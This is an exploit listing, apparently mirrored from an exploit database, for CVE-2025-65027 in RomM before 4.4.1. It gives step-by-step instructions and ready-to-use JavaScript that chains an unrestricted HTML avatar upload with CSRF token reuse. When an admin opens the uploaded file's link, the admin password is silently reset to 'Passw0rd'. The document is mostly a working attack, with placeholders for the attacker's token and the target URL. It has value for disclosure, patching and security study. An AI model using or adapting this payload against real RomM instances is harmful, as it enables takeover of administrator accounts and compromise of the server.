Share
## https://sploitus.com/exploit?id=PACKETSTORM:218681
# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
    # Date: 2025-12-03
    # Exploit Author: He4am (https://github.com/mHe4am)
    # Vendor Homepage: https://romm.app/
    # Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
    # Version: < 4.4.1
    # Tested on: Linux
    # CVE: CVE-2025-65027
    
    # -------------------
    
    # Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
    # Impact: Admin account takeover
    
    # Prerequisites:
    # 1. Attacker needs an authenticated account (Viewer role is sufficient)
    # 2. Victim must visit the uploaded malicious HTML file via a direct link
    
    # Steps to reproduce:
    # 1. Login to RomM
    # 2. Obtain your CSRF token:
    #    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
    #    - Copy the `romm_csrftoken` cookie value
    # 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
    # 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
    # 5. Save this file as `avatar.html`
    # 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
    # 7. Locate the uploaded file's direct link:
    #    - DevTools > Network tab > Filter for `.html` files
    #    - Or capture it via proxy (e.g., Burp Suite)
    #    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
    # 8. Send this direct link of the uploaded avatar/file to the victim
    # 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"
    
    # -------------------
    
    # PoC Code:
    <script>
    const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
    const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
    const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
    const newPassword = "Passw0rd";					// Password to set for victim
    
    // Overwrite CSRF cookie to match our token
    document.cookie = `romm_csrftoken=${csrfToken}; path=/`;
    
    // Execute account takeover by forcing the victim to change their password
    fetch(targetURL + "/api/users/" + targetUserID, {
      method: 'PUT',
      credentials: 'include',  // Send victim's session cookie
      headers: {
       'Content-Type': 'application/x-www-form-urlencoded',
       'x-csrftoken': csrfToken
      },
      body: "password=" + newPassword
    })
    .then(() => {
      console.log("Password changed successfully");
    })
    .catch(err => {
      console.error("Attack failed:", err);
    });
    </script>
    
    # -------------------
    
    # See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403